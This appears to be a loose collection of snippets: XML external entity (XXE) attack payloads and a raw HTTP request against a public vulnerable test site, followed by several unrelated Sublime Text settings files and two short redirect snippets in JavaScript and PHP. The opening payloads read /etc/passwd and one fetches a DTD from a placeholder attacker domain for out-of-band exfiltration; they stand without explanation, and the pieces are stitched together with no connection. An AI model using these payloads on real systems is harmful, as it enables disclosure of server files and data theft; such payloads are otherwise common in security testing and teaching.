<forgot><username>admin</username></forgot>

POST /forgotpw HTTP/1.1
Host: testhtml5.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://PAGINAVULNERABLE.COM
Content-Length: 43
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

<?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE etiqueta [  
  <!ELEMENT etiqueta ANY >
  <!ENTITY entidad SYSTEM "file:///etc/passwd" >]><etiqueta>&entidad;</etiqueta>

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Header [ <!ENTITY valor SYSTEM "///etc/passwd"> ]>
<reset><login>&valor;</login><secret>Any bugs?</secret></reset>

<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///"%three;"'>">

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [  
  <!ENTITY % one SYSTEM "http://DOMINIO-ATACANTE.COM/dtd-part" >
  %one;
  %two;
  %four;
]>
 

{
        "font_face": "Source Code Pro",
	"font_size": 11
}

{
	"bold_folder_labels": true,
	"color_scheme": "Packages/Theme - Brogrammer/brogrammer.tmTheme",
	"draw_indent_guides": true,
	"caret_style": "phase",
//	"draw_white_space": "all", // dibuja una línea en los espacios en blanco previos a texto
	"show_encoding": true,
    "reveal-on-activate": true,
    "wide_caret": true,

	"font_face": "Source Code Pro",
	"font_size": 11,
	"ensure_newline_at_eof_on_save": true, // añade una línea al final de todos los archivos
	"draw_minimap_border": true, // marca en el mapa de texto la sección visualizada
	"highlight_line": true, // resalta la línea en la que está el cursor
	"ignored_packages":
	[
		"Vintage"
	],
	"trim_trailing_white_space_on_save": true
}

{
	"auto_complete_commit_on_tab": true,
	"bold_folder_labels": true,
	"color_scheme": "Packages/Color Scheme - Default/Twilight.tmTheme",
	"ensure_newline_at_eof_on_save": true,
	"file_exclude_patterns":
	[
		".DS_Store",
		".tags*",
		"*.pyc",
		"*.pyo",
		"*.exe",
		"*.dll",
		"*.obj",
		"*.o",
		"*.a",
		"*.lib",
		"*.log",
		"*.so",
		"*.dylib",
		"*.ncb",
		"*.sdf",
		"*.suo",
		"*.pdb",
		"*.idb",
		"*.class",
		"*.psd",
		"*.db",
		"*.pdf"
	],
	"folder_exclude_patterns":
	[
		"data",
		".zeus.sock",
		".git",
		".svn",
		".hg",
		"CVS",
		".sass-cache",
		".bundle",
		"bundle",
		".rbx",
		"script",
		"tmp"
	],
	"font_face": "Inconsolata-dz",
	"font_size": 21.0,
	"highlight_line": true,
	"highlight_modified_tabs": true,
	"ignored_packages":
	[
		"Vintage"
	],
	"line_padding_bottom": 0.5,
	"line_padding_top": 0.5,
	"new_window_settings":
	{
		"show_minimap": false
	},
	"rulers":
	[
		80
	],
	"save_on_focus_lost": true,
	"tab_size": 2,
	"theme": "Soda Light.sublime-theme",
	"translate_tabs_to_spaces": true,
	"trim_trailing_white_space_on_save": true
}

{
    "auto_complete_triggers":
    [
        {
            "characters": "<",
            "selector": "text.html"
        },
        {
            "characters": "/",
            "selector": "string.quoted.double.html,string.quoted.single.html, source.css"
        }
    ],
    "color_scheme": "Packages/theme brogrammer/brogrammer.tmTheme",
    "font_size": 13,
    "ignored_packages":
    [
        "Python 3",
        "Vintage",
        "Better CoffeeScript"
    ],
    "file_exclude_patterns":
    [
        ".DS_Store",
        "*.lib",
        "*.log"
    ],
    "folder_exclude_patterns":
    [
        ".git",
        ".bundle",
        ".sass-cache",
        ".svn",
        ".hg"
    ],
    "reveal-on-activate": true,
    "show_encoding": true,
    "tab_size": 4,
    "translate_spaces_to_tabs": true,
    "highlight_line": true,
    "highlight_modified_tabs": true,
    "scroll_past_end": true,
    "scroll_speed": 2,
    "close_windows_when_empty": true,
    "use_simple_full_screen": true,
    "wide_caret": true,
    "word_wrap": true,
    "show_full_path": true,
    "remember_open_files": true,
    "remember_open_folders": true,
    "match_brackets": true,
    "match_brackets_angle": true,
    "match_brackets_braces": true,
    "match_brackets_content": true,
    "match_brackets_square": true,
    "draw_indent_guides": true,
    "draw_white_space": "selection",
    "bold_folder_labels": true
}

{
	"bold_folder_labels": true,
	"color_scheme": "Packages/Tomorrow Night Color Scheme/Tomorrow-Night-Eighties.tmTheme",
	"detect_indentation": false,
	"draw_minimap_border": true,
	"draw_white_space": "all",
	"ensure_newline_at_eof_on_save": true,
	"fade_fold_buttons": false,
	"find_selected_text": true,
	"font_face": "Inconsolata",
	"font_size": 16.0,
	"highlight_line": true,
	"ignored_packages":
	[
		"Vintage"
	],
	"line_padding_bottom": 1,
	"line_padding_top": 1,
	"margin": -1,
	"open_files_in_new_window": false,
	"rulers":
	[
		120
	],
	"shift_tab_unindent": true,
	"tab_size": 4,
	"theme": "Soda Dark.sublime-theme",
	"trim_trailing_white_space_on_save": true,
	"word_separators": "./\\()\"'-:,.;<>~!@#$%^&*|+=[]{}`~?_",
	"word_wrap": true,
	"wrap_width": 120
}

<script type="text/javascript">document.location='https://web.com/';</script>

<?php
        header('Location: https://webalaquerediriges.com/');
?>